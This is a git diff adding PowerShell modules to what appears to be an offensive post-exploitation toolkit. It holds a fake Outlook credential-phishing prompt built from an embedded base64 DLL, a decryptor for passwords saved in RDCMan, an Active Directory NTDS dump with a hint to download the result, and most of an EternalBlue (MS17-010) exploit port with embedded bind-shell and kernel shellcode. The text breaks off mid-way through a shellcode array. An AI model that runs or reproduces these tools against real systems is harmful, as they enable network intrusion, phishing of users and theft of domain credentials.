.EXAMPLE + C:\PS> import-module .\Invoke-Shellcode.ps1 + C:\PS> Invoke-Shellcode -Shellcode (ConvertTo-Shellcode TestDLL_x64.dll) + + .PARAMETER File + The target DLL file to convert + + .PARAMETER FunctionHash + Hashed name of the function to call after DLLMain + + .PARAMETER UserData + Data to pass to the target function + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True,Position=1)] + [string]$File, + + [Parameter(Position=2)] + [int]$FunctionHash = 0x30627745, + + [Parameter(Position=3)] + [string]$UserData = "None" + + ) + $Parameters = New-Object System.CodeDom.Compiler.CompilerParameters + $Parameters.CompilerOptions += "/unsafe" + Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $Parameters + + $FileData = Get-Content $File -Encoding Byte + + $UserDataBytes = [system.Text.Encoding]::Default.GetBytes($UserData + "\0") + + [sRDI]::ConvertToShellcode($FileData, $FunctionHash, $UserDataBytes) +} diff --git a/Modules/Cred-Popper.ps1 b/Modules/Cred-Popper.ps1 new file mode 100755 index 0000000..a771055 --- /dev/null +++ b/Modules/Cred-Popper.ps1 @@ -0,0 +1,33 @@ +function Cred-Popper($title="Outlook", $caption="Please Enter Your Domain Credentials") { + +$scriptblock = @" +`$PS = "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egAIAFAAfwAIAFQAhAAIAFgAiQAIAFwAjgAIAGAAkwAIAGQAmAAIAGgAnQAIAHAAogAIAHQApwAIAHgArAAIAHwAsQAIAIAAtgAIAIQAuwAIAIgAwAAIAIwAxQAIAJAAygAuAAsAEgEuABMAGwEuABsAOgEuACMAQwEuACsAVAEuADMAVAEuADsAVAEuAEMAQwEuAEsAWgEuAFMAVAEuAFsAVAEuAGMAcgEuAGsAnAGDAHMATQAXAM8AGgAsAE0EPgRGAQMAaQQBAAQBBQA6AgIABIAAAAEAAAAAAAAAAAAAAAAAugQAAAIAAAAAAAAAAAAAAD8AcgIAAAAAAwACAAQAAgAFAAIAAAAAAAByZXNlcnZlZDEAPE1vZHVsZT4ARVJST1JfQ0FOQ0VMTEVEAEVSUk9SX05PVF9GT1VORABSRVFVSVJFX1NNQVJUQ0FSRABJTkNPUlJFQ1RfUEFTU1dPUkQATUFYX1BBU1NXT1JEAFZBTElEQVRFX1VTRVJOQU1FAENPTVBMRVRFX1VTRVJOQU1FAEtFRVBfVVNFUk5BTUUATUFYX1VTRVJfTkFNRQBFUlJPUl9JTlZBTElEX0FDQ09VTlRfTkFNRQBSRVFVSVJFX0NFUlRJRklDQVRFAEFMV0FZU19TSE9XX1VJAGNyZWRpdFVJAFBBU1NXT1JEX09OTFlfT0sAU0VSVkVSX0NSRURFTlRJQUwATUFYX0RPTUFJTgBFUlJPUl9OT19TVUNIX0xPR09OX1NFU1NJT04ARVhQRUNUX0NPTkZJUk1BVElPTgBDUkVEVUlfSU5GTwBFUlJPUl9JTlNVRkZJQ0lFTlRfQlVGRkVSAEVSUk9SX0lOVkFMSURfUEFSQU1FVEVSAE5PX0VSUk9SAFJFUVVFU1RfQURNSU5JU1RSQVRPUgBjcmVkaXRVUgBFWENMVURFX0NFUlRJRklDQVRFUwBFUlJPUl9JTlZBTElEX0ZMQUdTAENSRURVSV9GTEFHUwBHRU5FUklDX0NSRURFTlRJQUxTAFVTRVJOQU1FX1RBUkdFVF9DUkVERU5USUFMUwBFUlJPUl9CQURfQVJHVU1FTlRTAERPX05PVF9QRVJTSVNUAENyZWRVSVByb21wdEZvckNyZWRlbnRpYWxzVwBTSE9XX1NBVkVfQ0hFQ0tfQk9YAHZhbHVlX18AbXNjb3JsaWIAbWF4UGFzc3dvcmQAcGFzc3dvcmQAdGl0bGUAbWF4VXNlck5hbWUAdXNlck5hbWUAdGFyZ2V0TmFtZQBWYWx1ZVR5cGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBwZlNhdmUAc2F2ZQBjYlNpemUAU2l6ZU9mAFRvU3RyaW5nAGNyZWR1aQBNYXJzaGFsAGRsbG1haW4uZGxsAENyZWQtUG9wcGVyLmRsbABTZWN1cmVaZXJvTWVtAFN5c3RlbQBFbnVtAFN5c3RlbS5SZWZsZWN0aW9uAGNhcHRpb24AWmVybwBTdHJpbmdCdWlsZGVyAGhibUJhbm5lcgBDcmVkLVBvcHBlcgBDcmVkUG9wcGVyAGlFcnJvcgBuZXRFcnJvcgAuY3RvcgBJbnRQdHIAcHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDcmVkVUlSZXR1cm5Db2RlcwBEZWJ1Z2dpbmdNb2RlcwBmbGFncwBQcm9tcHRGb3JDcmVkZW50aWFscwBDb25jYXQAT2JqZWN0AGNudABod25kUGFyZW50AENyZWRlbnRpYWxzUHJvbXB0AFN5c3RlbS5UZXh0AHBzek1lc3NhZ2VUZXh0AHBzekNhcHRpb25UZXh0AAAAAAABAAUNAAoAAAAAAD9z7a6bKa9PhxbeAVbhS+0ABCAB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NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAARD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +`$DllBytes = [System.Convert]::FromBase64String(`$PS) +`$Assembly = [System.Reflection.Assembly]::Load(`$DllBytes) +`$sessionstate.log = [CredentialsPrompt]::CredPopper("$title", "$caption") +"@ + +$global:sessionstate = [HashTable]::Synchronized(@{}) +$sessionstate.log = New-Object System.Collections.ArrayList + +$HTTP_runspace = [RunspaceFactory]::CreateRunspace() +$HTTP_runspace.Open() +$HTTP_runspace.SessionStateProxy.SetVariable('sessionstate',$sessionstate) +$HTTP_powershell = [PowerShell]::Create() +$HTTP_powershell.Runspace = $HTTP_runspace +$HTTP_powershell.AddScript($scriptblock) > $null +$HTTP_powershell.BeginInvoke() > $null + +echo "" +echo "[+] Cred-Popper started in background runspace" +echo "" +echo "Run Get-Creds to obtain the output, when the user enters their credentials" +echo "" + +} + +function Get-Creds { + echo "" + "[+] Cred-Popper data:" + echo $sessionstate.log +} diff --git a/Modules/Decrypt-RDCMan.ps1 b/Modules/Decrypt-RDCMan.ps1 new file mode 100644 index 0000000..ca07b48 --- /dev/null +++ b/Modules/Decrypt-RDCMan.ps1 @@ -0,0 +1,58 @@ +function Decrypt-RDCMan ($FilePath) { +<# +.SYNOPSIS + +This script should be able to decrpt all passwords stored in the RDCMan config file + +Function: Decrypt-RDCMan +Author:Ben Turner @benpturner, Rich Hicks @scriptmonkey_ + +.EXAMPLE + +Decrypt-RDCMan -FilePath +#> + if (!$FilePath) { + [xml]$config = Get-Content "$env:LOCALAPPDATA\microsoft\remote desktop connection manager\rdcman.settings" + $Xml = Select-Xml -Xml $config -XPath "//FilesToOpen/*" + $Xml | select-object -ExpandProperty "Node"| % {Write-Output "Decrypting file: " $_.InnerText; Decrypt-RDCMan $_.InnerText} + } else { + [xml]$Types = Get-Content $FilePath + + $Xml = Select-Xml -Xml $Types -XPath "//logonCredentials" + + # depending on the RDCMan version we may need to change the XML search + $Xml | select-object -ExpandProperty "Node" | % { $pass = Decrypt-DPAPI $_.Password; $_.Domain + "\" + $_.Username + " - " + $Pass + " - " + "Hash:" + $_.Password + "`n" } + + # depending on the RDCMan version, we may have to use search through the #text field in the XML structure + $Xml | select-object -ExpandProperty "Node" | % { $pass = Decrypt-DPAPI $_.Password."#text"; $_.Domain + "\" + $_.Username + "`n" + $Pass + " - Hash: " + $_.Password."#text" + "`n"} + } +} + +function Decrypt-DPAPI ($EncryptedString) { + # load the Security Assembly into the PS runspace + Add-Type -assembly System.Security + $encoding= [System.Text.Encoding]::ASCII + $uencoding = [System.Text.Encoding]::UNICODE + + # try and decrypt the password with the CurrentUser Scope + try { + $encryptedBytes = [System.Convert]::FromBase64String($encryptedstring) + $bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) + [System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_} + echo $myStr1 + } + catch { + # try and decrypt the password with the LocalMachine Scope only if the CurrentUser fails + try { + $encryptedBytes = [System.Convert]::FromBase64String($encryptedstring) + $bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + [System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_} + echo $myStr1 + } + catch { + echo "Could not decrypt password" + } + } +} + + diff --git a/Modules/Dump-NTDS.ps1 b/Modules/Dump-NTDS.ps1 new file mode 100644 index 0000000..d8517b1 --- /dev/null +++ b/Modules/Dump-NTDS.ps1 @@ -0,0 +1,35 @@ +<# +.Synopsis + Dumps the active directory dit using ntdsutil +.DESCRIPTION + Dumps the active directory dit using ntdsutil +.EXAMPLE + PS C:\>Dump-NTDS -EmptyFolder C:\Temp\NTDS\ +#> +function Dump-NTDS +{ +[cmdletbinding()] +Param +( + [string[]]$EmptyFolder +) + + if( (Get-ChildItem $EmptyFolder | Measure-Object).Count -eq 0) + { + if (Test-Administrator) { + NTdsutil.exe "activate instance ntds" "ifm" "create full $($EmptyFolder) " "q" "q" + } else { + Write-Output "Not running in elevated mode - must run as administrator" + } + } else { + Write-Output "Folder is not empty, must use an empty folder" + } + + Write-Output "If successfull, Zip the files and download using - New-ZipFile c:\temp\test.zip c:\temp\test\" +} +function Test-Administrator +{ + $user = [Security.Principal.WindowsIdentity]::GetCurrent(); + (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) +} + diff --git a/Modules/Exploit-EternalBlue.ps1 b/Modules/Exploit-EternalBlue.ps1 new file mode 100644 index 0000000..40e206e --- /dev/null +++ b/Modules/Exploit-EternalBlue.ps1 @@ -0,0 +1,719 @@ +function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode, [Switch]$MsfBind){ + +<# + .SYNOPSIS + PowerShell port of MS17_010 Metasploit module + Based on Eternal Blue metasploit module by Sean Dillon ', + # @zerosum0x0 'Dylan Davis ', + # @jennamagius + + .PARAMETER Target. + Host to exploit + .PARAMETER InitialGrooms + Initial Grooms. + .PARAMETER MaxAttempts + number of times to run exploit + .PARAMETER ShellCode + ShellCode to execute on exploit + .PARAMETER MsfBind + Switch to run x64 bind shellcode TCP port 8080 + + .EXAMPLE + Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 5 -MaxAttempts 1 -MsfBind +#> + +$enc = [system.Text.Encoding]::ASCII + +if ($MsfBind.IsPresent){ + +$sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAB+QAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q==" + +[Byte[]] $shellcode = [System.Convert]::FromBase64String($sc) + +} + + +$GROOM_DELTA = 5 + + +function make_kernel_shellcode { + [Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF, +0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2, +0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10, +0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52, +0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41, +0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A, +0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00, +0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00, +0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1, +0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48, +0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8, +0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83, +0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59, +0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00, +0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41, +0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83, +0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00, +0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81, +0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41, +0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6, +0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48, +0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39, +0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2, +0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00, +0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2, +0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3, +0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00, +0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10, +0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00, +0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00, +0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7, +0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00, +0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00, +0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00, +0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48, +0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB, +0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48, +0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C, +0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB, +0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41, +0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89, +0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31, 